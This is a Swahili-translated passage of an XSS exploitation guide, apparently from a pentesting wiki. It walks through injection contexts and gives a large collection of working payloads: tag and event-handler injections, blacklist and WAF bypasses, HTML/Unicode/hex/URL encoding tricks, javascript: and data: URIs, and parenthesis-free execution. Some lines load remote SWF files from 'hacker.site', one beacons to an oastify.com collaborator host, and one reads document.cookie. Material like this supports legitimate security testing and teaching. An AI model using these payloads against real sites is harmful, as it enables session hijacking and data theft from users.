XSS (Cross Site Scripting)

Ikiwa una nia ya kazi ya udukuzi na kudukua yasiyodukuzika - tunakupa kazi! (ujuzi wa Kipolishi wa kuandika na kusema unahitajika).

Mbinu

  1. Angalia ikiwa thamani yoyote unayoidhibiti (parameta, njia, vichwa vya habari?, vidakuzi?) inaonyeshwa katika HTML au kutumiwa na msimbo wa JS.

  2. Pata muktadha ambapo inaonyeshwa/inatumiwa.

  3. Ikiwa inaonyeshwa

  4. Angalia herufi zipi unaweza kutumia na kulingana na hilo, andaa mzigo:

  5. Katika HTML ghafi:

  6. Je, unaweza kuunda vitambulisho vipya vya HTML?

  7. Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya javascript:?

  8. Je, unaweza kukiuka ulinzi?

  9. Je, yaliyomo ya HTML inachambuliwa na injini yoyote ya JS ya upande wa mteja (AngularJS, VueJS, Mavo...), unaweza kutumia Uingizaji wa Kigezo cha Upande wa Mteja.

  10. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, unaweza kutumia Kutundikwa kwa Alama - Uingizaji wa HTML bila msimbo?

  11. Ndani ya tambulisho la HTML:

  12. Je, unaweza kutoka kwenye muktadha wa HTML ghafi?

  13. Je, unaweza kuunda matukio/sifa mpya za kutekeleza msimbo wa JS?

  14. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?

  15. Je, unaweza kukiuka ulinzi?

  16. Ndani ya msimbo wa JavaScript:

  17. Je, unaweza kuepuka lebo ya <script>?

  18. Je, unaweza kuepuka herufi na kutekeleza msimbo tofauti wa JS?

  19. Je, mchango wako uko katika herufi za kigezo ``?

  20. Je, unaweza kukiuka ulinzi?

  21. Kazi ya JavaScript inayotekelezwa**

  22. Unaweza kutaja jina la kazi ya kutekelezwa. mf.: ?callback=alert(1)

  23. Ikiwa inatumiwa:

  24. Unaweza kutumia DOM XSS, angalia jinsi mchango wako unadhibitiwa na ikiwa mchango wako unaodhibitiwa unatumiwa na sinki yoyote.

Unapofanya kazi kwenye XSS ngumu unaweza kupata kuvutia kujua kuhusu:

pageDebugging Client Side JS

Thamani Zilizoonyeshwa

Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni thamani unayoidhibiti ambayo inaonyeshwa kwenye ukurasa wa wavuti.

  • Kati kati inayoonyeshwa: Ikiwa unagundua kuwa thamani ya parameta au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia Reflected XSS.

  • Imehifadhiwa na inayoonyeshwa: Ikiwa unagundua kuwa thamani unayoidhibiti imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia Stored XSS.

  • Kufikiwa kupitia JS: Ikiwa unagundua kuwa thamani unayoidhibiti inatumika kwa kutumia JS unaweza kutumia DOM XSS.

Muktadha

Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni wapi mchango wako unaoonyeshwa. Kulingana na muktadha, utaweza kutekeleza msimbo wa JS wa kiholela kwa njia tofauti.

HTML Ghafi

Ikiwa mchango wako unaonyeshwa kwenye HTML ghafi unahitaji kutumia baadhi ya tambulisho la HTML ili kutekeleza msimbo wa JS: <img , <iframe , <svg , <script ... hizi ni baadhi tu ya vitambulisho vingi vya HTML vinavyoweza kutumika. Pia, kumbuka Uingizaji wa Kigezo cha Upande wa Mteja.

Ndani ya sifa za vitambulisho vya HTML

Ikiwa mchango wako unaonyeshwa ndani ya thamani ya sifa ya lebo unaweza jaribu:

  1. Kujaribu kutoka kwenye sifa na kutoka kwenye lebo (kisha utakuwa kwenye HTML ghafi) na kuunda lebo mpya ya HTML kutekeleza: "><img [...]

  2. Ikiwa unaweza kutoka kwenye sifa lakini si kutoka kwenye lebo (> imekodishwa au imefutwa), kulingana na lebo unaweza kuunda tukio linalotekeleza msimbo wa JS: " autofocus onfocus=alert(1) x="

  3. Ikiwa hauwezi kutoka kwenye sifa (" inakodishwa au imefutwa), basi kulingana na sifa ipi thamani yako inaonyeshwa ikiwa unadhibiti thamani yote au sehemu tu utaweza kuitumia. Kwa mfano, ikiwa unadhibiti tukio kama onclick= utaweza kufanya iwekeze msimbo wa kiholela unapobonyeza. Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki ya javascript: kutekeleza msimbo wa kiholela: href="javascript:alert(1)"

  4. Ikiwa mchango wako unaonyeshwa ndani ya "vitambulisho visivyoweza kutumiwa" unaweza kujaribu mbinu ya accesskey kudanganya udhaifu (utahitaji aina fulani ya mhandisi wa kijamii kudukua hii): " accesskey="x" onclick="alert(1)" x="

Mfano wa ajabu wa Angular unatekeleza XSS ikiwa unadhibiti jina la darasa:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Ndani ya msimbo wa JavaScript

Katika kesi hii, matokeo yako yanarudiwa kati ya vitambulisho vya <script> [...] </script> ya ukurasa wa HTML, ndani ya faili ya .js au ndani ya sifa inayotumia itifaki ya javascript::

  • Ikiwa yamerudiwa kati ya vitambulisho vya <script> [...] </script>, hata kama matokeo yako iko ndani ya aina yoyote ya herufi, unaweza kujaribu kuingiza </script> na kutoroka kutoka kwa muktadha huu. Hii inafanya kazi kwa sababu kivinjari kitapambua kwanza vitambulisho vya HTML na kisha maudhui, kwa hivyo, haitagundua kuwa lebo yako ya kuingizwa ya </script> iko ndani ya msimbo wa HTML.

  • Ikiwa yamerudiwa ndani ya herufi ya JS na mbinu ya mwisho haifanyi kazi, utahitaji kutoka kwenye herufi, kutekeleza msimbo wako na kujenga upya msimbo wa JS (ikiwa kuna kosa lolote, haitatekelezwa):

    • '-alert(1)-'

    • ';-alert(1)//

    • \';alert(1)//

  • Ikiwa yamerudiwa ndani ya herufi za kiolesura unaweza kuingiza mielekeo ya JS kwa kutumia sintaksia ${ ... }: var salamu = `Hello, ${alert(1)}`

  • Kodisha Unicode inafanya kazi kuandika msimbo sahihi wa javascript:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Hoisting ya Javascript

Hoisting ya Javascript inahusu fursa ya kutangaza functions, variables au classes baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia variables au functions ambazo hazijatangazwa. Angalia ukurasa ufuatao kwa maelezo zaidi:

pageJS Hoisting

Function ya Javascript

Kuna kurasa kadhaa za wavuti zinazo pokea kama parameter jina la function ya kutekeleza. Mfano wa kawaida unaoweza kuona ni kitu kama: ?callback=callbackFunc.

Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni kubadilisha thamani ya param (kwa mfano kuwa 'Vulnerable') na kutazama kwenye konsoli kwa makosa kama:

Ikiwa ni dhaifu, unaweza kuweza kuzindua tahadhari kwa kutuma thamani: ?callback=alert(1). Hata hivyo, ni kawaida sana kwamba kurasa hizi zitakuwa zinathibitisha maudhui ili kuruhusu herufi, nambari, dots na vichwa vya mstari tu ([\w\._]).

Hata hivyo, hata na kizuizi hicho bado ni rahisi kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote katika DOM:

Baadhi ya functions muhimu kwa hili:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Unaweza pia kujaribu kuzindua kazi za Javascript moja kwa moja: obj.sales.delOrders.

Walakini, kwa kawaida vituo vya mwisho vinavyotekeleza kazi iliyotajwa ni vituo vya mwisho bila DOM ya kuvutia sana, kurasa nyingine katika asili ile ile zitakuwa na DOM yenye kuvutia zaidi kutekeleza vitendo zaidi.

Kwa hivyo, ili kutumia udhaifu huu katika DOM tofauti ilitengenezwa njia ya utekelezaji wa Mbinu ya Asili Iliyofanana (SOME):

pageSOME - Same Origin Method Execution

DOM

Kuna msimbo wa JS ambao unatumia kwa njia isiyokuwa salama baadhi ya data inayodhibitiwa na mshambuliaji kama vile location.href. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.

pageDOM XSS

Universal XSS

Aina hii ya XSS inaweza kupatikana mahali popote. Hawategemei tu unyonyaji wa mteja wa programu ya wavuti lakini pia kwenye muktadha wowote. Aina hii ya utekelezaji wa JavaScript wa aina yoyote inaweza hata kutumika kwa kupata RCE, kusoma faili za aina yoyote kwenye wateja na seva, na zaidi. Baadhi ya mfano:

pageServer Side XSS (Dynamic PDF)pageElectron Desktop Apps

Kupitisha WAF kwa kuweka picha

Kuingiza ndani ya HTML ghafi

Wakati matokeo yako yanarudishwa ndani ya ukurasa wa HTML au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, jambo la kwanza unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia < kuunda vitambulisho vipya: Jaribu tu kurudisha herufi hiyo na uangalie ikiwa ina kodishwa kwa HTML au kufutwa au ikiwa ina rudishwa bila mabadiliko. Katika kesi ya mwisho tu ndio utaweza kutumia udhaifu huu. Kwa kesi hizi pia kumbuka Uingizaji wa Kigezo cha Upande wa Mteja. Maelezo: Maoni ya HTML yanaweza kufungwa kwa kutumia**** --> au ****--!>

Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza kutumia mizigo kama:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/sifa inatumika, utahitaji kufanya nguvu ya kutafuta vitambulisho unavyoweza kuunda. Mara baada ya kupata vitambulisho vilivyoidhinishwa, utahitaji kufanya nguvu ya kutafuta sifa/tukio ndani ya vitambulisho halali ulivyopata ili uone jinsi unavyoweza kushambulia muktadha.

Nguvu ya Vitambulisho/Tukio

Nenda kwenye https://portswigger.net/web-security/cross-site-scripting/cheat-sheet na bonyeza Nakili vitambulisho kwenye ubao. Kisha, tuma vyote kwa kutumia Burp intruder na angalia ikiwa kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Mara baada ya kugundua vitambulisho unavyoweza kutumia, unaweza kufanya nguvu ya kutafuta tukio zote kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza Nakili matukio kwenye ubao na fuata utaratibu huo huo kama awali).

Vitambulisho vya Kibinafsi

Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu kuunda kitambulisho cha kibinafsi na kutekeleza msimbo wa JS na sifa ya onfocus. Katika ombi la XSS, unahitaji kumaliza URL na # ili kufanya ukurasa uelekeze kwenye kitu hicho na kutekeleza msimbo:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Kupita Kizuizi cha Orodha ya Kupiga Marufuku

Ikiwa aina fulani ya orodha ya kupiga marufuku inatumika, unaweza jaribu kuipita kwa mbinu za kipumbavu:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Kupitisha urefu (XSSs ndogo)

XSS ndogo zaidi kwa mazingira tofauti mzigo unaweza kupatikana hapa na hapa.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Bonyeza XSS - Clickjacking

Ikiwa ili kutumia udhaifu unahitaji mtumiaji bonyeze kiungo au fomu na data iliyopangwa mapema unaweza kujaribu kutumia Clickjacking (ikiwa ukurasa una udhaifu).

Haiwezekani - Dangling Markup

Ikiwa unafikiria haiwezekani kuunda lebo ya HTML na sifa ya kutekeleza msimbo wa JS, unapaswa kuangalia Danglig Markup kwa sababu unaweza kutumia udhaifu bila kutekeleza msimbo wa JS.

Kuingiza ndani ya lebo ya HTML

Ndani ya lebo/kutoroka kutoka thamani ya sifa

Ikiwa uko ndani ya lebo ya HTML, jambo la kwanza unaloweza kujaribu ni kutoroka kutoka kwenye lebo na kutumia baadhi ya mbinu zilizotajwa katika sehemu iliyotangulia kutekeleza msimbo wa JS. Ikiwa hauwezi kutoroka kutoka kwenye lebo, unaweza kuunda sifa mpya ndani ya lebo kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia mzigo kama huu (tambua kwamba katika mfano huu alama za nukuu mara mbili hutumiwa kutoroka kutoka kwenye sifa, hautahitaji hizo ikiwa matokeo yako yanarejelewa moja kwa moja ndani ya lebo):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Matukio ya Mtindo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Ndani ya sifa

Hata kama hauwezi kutoroka kutoka kwa sifa (" inakodishwa au kufutwa), kutegemea sifa ipi thamani yako inaonyeshwa ikiwa una udhibiti wa thamani yote au sehemu tu utaweza kuitumia vibaya. Kwa mfano, ikiwa una udhibiti wa tukio kama onclick=, utaweza kuifanya iexecute kanuni za kupendelea wakati inapobonyezwa. Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki ya javascript: kuendesha kanuni za kupendelea: href="javascript:alert(1)"

Kupita ndani ya tukio kutumia uendeshaji wa HTML/URL encode

Vichwa vya habari vya HTML vilivyokodishwa ndani ya thamani ya sifa za vitambulisho vya HTML vinadecoded wakati wa uendeshaji. Kwa hivyo kitu kama hicho kitakuwa halali (mzigo uko kwa kirefu): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Rudi </a>

Tafadhali kumbuka kwamba aina yoyote ya uendeshaji wa HTML ni halali:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Tafadhali kumbuka kuwa URL encode pia itafanya kazi:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Kupita ndani ya tukio kutumia msimbaji wa Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Itifaki Maalum Ndani ya sifa

Hapo unaweza kutumia itifaki za javascript: au data: mahali fulani ili kutekeleza msimbo wa JS wa kiholela. Baadhi itahitaji ushirikiano wa mtumiaji na nyingine hazitahitaji.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Maeneo ambapo unaweza kuingiza itifaki hizi

Kwa ujumla itifaki ya javascript: inaweza kutumika katika lebo yoyote inayokubali sifa ya href na katika zaidi ya lebo zinazokubali sifa ya src (lakini sio <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Mbinu zingine za kuficha

Katika kesi hii, kuficha kwa kutumia HTML na kuficha kwa kutumia Unicode kutoka kwenye sehemu iliyopita ni sahihi pia kwani uko ndani ya sifa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Zaidi ya hayo, kuna mchezo mzuri mwingine kwa hali hizi: Hata kama kuingiza yako ndani ya javascript:... inakuwa imefanyiwa URL encoding, itakuwa URL decoded kabla ya kutekelezwa. Kwa hivyo, ikiwa unahitaji kutoroka kutoka kwa herufi kwa kutumia alama ya nukta moja na unaona kwamba imefanyiwa URL encoding, kumbuka kwamba hauna maana, itatafsiriwa kama alama ya nukta moja wakati wa utekelezaji.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Tafadhali kumbuka kwamba ikiwa unajaribu kutumia zote mbili URLencode + HTMLencode kwa mpangilio wowote kwa lengo la kuweka payload haitafanya kazi, lakini unaweza kuzichanganya ndani ya payload.

Kutumia Hex na Octal encode na javascript:

Unaweza kutumia Hex na Octal encode ndani ya sifa ya src ya iframe (angalau) kutangaza vitambulisho vya HTML kutekeleza JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Kubadilisha tab nabbing

<a target="_blank" rel="opener"

If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:

pageReverse Tab Nabbing

Kwenye Wabunifu wa Matukio ya Kupuuza

Kwanza kabisa angalia ukurasa huu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kwa matumizi ya "wabunifu wa matukio ya". Kama kuna orodha nyeusi inayozuia kutengeneza wabunifu hawa hata unaweza kujaribu njia za kuzunguka zifuatazo:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS katika "Vitambulisho visivyoweza kudukuliwa" (ingiza, kiungo, kanoni, meta)

Kutoka hapa sasa inawezekana kutumia vibali vilivyofichwa na:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Na kwenye meta tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

From hapa: Unaweza kutekeleza XSS payload ndani ya sifa iliyofichwa, ikiwa unaweza kumshawishi mlemavu kubonyeza kombinisheni ya funguo. Kwenye Firefox Windows/Linux kombinasheni ya funguo ni ALT+SHIFT+X na kwenye OS X ni CTRL+ALT+X. Unaweza kuteua kombinasheni tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu wa funguo. Hapa kuna vector:

<input type="hidden" accesskey="X" onclick="alert(1)">

Mzigo wa XSS utakuwa kama huu: " accesskey="x" onclick="alert(1)" x="

Kuepuka Orodha ya Kupiga marufuku

Mbinu kadhaa za kutumia nambari tofauti za uendeshaji tayari zilifunuliwa ndani ya sehemu hii. Rudi nyuma kujifunza unaweza kutumia wapi:

  • Uendeshaji wa HTML (lebo za HTML)

  • Uendeshaji wa Unicode (inaweza kuwa nambari halali ya JS): \u0061lert(1)

  • Uendeshaji wa URL

  • Uendeshaji wa Hex na Octal

  • Uendeshaji wa data

Kuepuka kwa Lebo na Sifa za HTML

Soma Kuepuka kwa Orodha ya Kupiga marufuku ya sehemu iliyopita.

Kuepuka kwa Nambari ya JavaScript

Soma Kuepuka kwa Orodha ya Kupiga marufuku ya JavaScript ya sehemu ifuatayo.

Vifaa vya CSS

Ikiwa umepata XSS katika sehemu ndogo sana ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye mguu wa ukurasa na kipengele cha onmouseover), unaweza kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua ili kuongeza uwezekano wa kiungo kufanya kazi.

Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia Vifaa vya Kupamba CSS, kwa hivyo ikiwa unapata, kwa mfano

.jaribio {display:block; color: blue; width: 100%}

na

#kitambulisho {juu: 0; font-family: Tahoma;}

Sasa unaweza kubadilisha kiungo chetu na kukiweka katika fomu

<a href="" id=kitambulisho darasa=jaribio onclick=alert() a="">

Hila hii ilitolewa kutoka https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Kuingiza ndani ya Nambari ya JavaScript

Katika kesi hizi kuingiza yako itakuwa inajitokeza ndani ya nambari ya JS ya faili ya .js au kati ya vitambulisho vya <script>...</script> au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa zinazokubali itifaki ya javascript:.

Kuepuka lebo ya <script>

Ikiwa nambari yako imeingizwa ndani ya <script> [...] var input = 'data inayojitokeza' [...] </script> unaweza kwa urahisi kuepuka kufunga lebo ya <script>:

</script><img src=1 onerror=alert(document.domain)>

Tafadhali elewa kwamba katika mfano huu hatujafunga alama ya nukta moja. Hii ni kwa sababu uchambuzi wa HTML hufanywa kwanza na kivinjari, ambao unahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza mistari iliyofungwa ndani ya script hufanywa baadaye.

Ndani ya msimbo wa JS

Ikiwa <> inasanitizwa unaweza bado kutoroka kutoka kwa herufi ambapo matokeo yako yanapatikana na kutekeleza JS ya kiholela. Ni muhimu kurekebisha muundo wa JS, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Ili kujenga maneno mbali na alama za nukta moja na mbili, JS pia inakubali backticks ``. Hii inajulikana kama template literals kwani inaruhusu kuweka eshesheni za JS kwa kutumia sintaksia ${ ... }.

Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudi ndani ya neno la JS linalotumia backticks, unaweza kutumia sintaksia ${ ... } kutekeleza michocheo ya JS isiyo na kikomo:

Hii inaweza kutumiwa vibaya kwa kutumia:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Utekelezaji wa nambari iliyohifadhiwa

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Kubadilisha Unicode JS utekelezaji

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Mbinu za kukiuka orodha nyeusi ya JavaScript

Maneno

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Kutoroka maalum

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Badiliko la nafasi ndani ya msimbo wa JS

<TAB>
/**/

Maoni ya JavaScript (kutoka Mbinu za Maoni ya JavaScript udanganyifu)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Mstari mpya wa JavaScript (kutoka Mstari mpya wa JavaScript hila)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Nafasi nyeupe za JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript ndani ya maoni

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bila mabano

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
